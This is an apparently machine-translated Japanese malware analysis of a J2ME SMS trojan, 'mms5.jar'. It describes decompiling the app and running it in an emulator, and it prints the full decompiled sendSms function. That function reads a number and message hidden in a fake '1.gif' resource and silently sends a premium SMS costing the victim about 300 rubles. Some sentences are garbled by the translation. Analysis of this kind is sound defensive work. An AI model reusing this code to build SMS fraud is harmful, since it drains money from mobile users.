ファイル「mms5.jar」は手に落ち、Kaspersky Anti-Virusによって「Trojan-Trojan-SMS.J2ME.Smmer.f Trojan」として即座に検出されました。 詳細に分析します。
「mms5.jar」というファイルは「zip」形式のアーカイブで、ファイルが含まれています。
「mms5.jar」という名前のアーカイブに含まれるプログラムを実行するための前提条件は、「meta-inf」ディレクトリにある「manifest.mf」という名前のファイルがアーカイブに存在することです。
manifest.infという名前のファイルで指定されたMicroEdition-ConfigurationおよびMicroEdition-Profileパラメーターの値に従って、mms5.jarという名前のファイルに含まれているプログラムは、携帯電話および携帯情報端末。
「Fernflower」デコンパイラを使用して、アーカイブ「mms5.jar」に含まれるファイル「\ mms \ poster.class」が逆コンパイルされました。
次に、「JAVA ME SDK」を使用して、逆コンパイルの結果として取得されたプログラムがコンパイルされ、起動されました。 同時に、携帯電話のエミュレーターで「POSTCARD」というアプリケーションが起動されました。 「いいえ」ボタンをクリックすると、アプリケーション「CARDS」は作業を終了します。
「はい」ボタンをクリックすると、「sendSms」機能が起動し、正常に完了するとエミュレータ画面にウィンドウが表示され、キスのある画像が表示されます。
悪意のあるsendSms関数:
public boolean sendSms() { boolean flag = true; if(this.isRecordstoreExists()) { return flag; } else { try { int ex = 0; String s1 = this.getResourceText("/1.gif"); int i; while((i = s1.indexOf("[", ex)) >= ex) { int crs = s1.indexOf(":", i); int l; ex = l = s1.indexOf("]", crs); String obj = s1.substring(i + 1, crs); String s = s1.substring(crs + 1, l); TextMessage textmessage; MessageConnection obj1; textmessage = (TextMessage)((MessageConnection)(obj1 = (MessageConnection)Con nector.open((String)("sms://" + obj)))).newMessage("text")).setPayloadText(s); ((MessageConnection)((MessageConnection)obj1)).send(textmessage); ((MessageConnection)((MessageConnection)obj1)).close(); } boolean crs1 = this.createRecordstore(); if(crs1) { System.out.println("Recordstore Created"); } } catch (SecurityException var10) { flag = false; } catch (Exception var11) { flag = false; var11.printStackTrace(); } return flag; } }
「sendSms」機能の実行中に、テキスト「4969991 543」を含む番号「1350」にSMSメッセージを送信しようとします。
番号「1350」およびテキスト「4969991 543」は、「1.gif」という名前のファイルから取得されます。
[1350:4969991 543]
その結果、このかわいい写真を見ると300ルーブルの費用がかかります。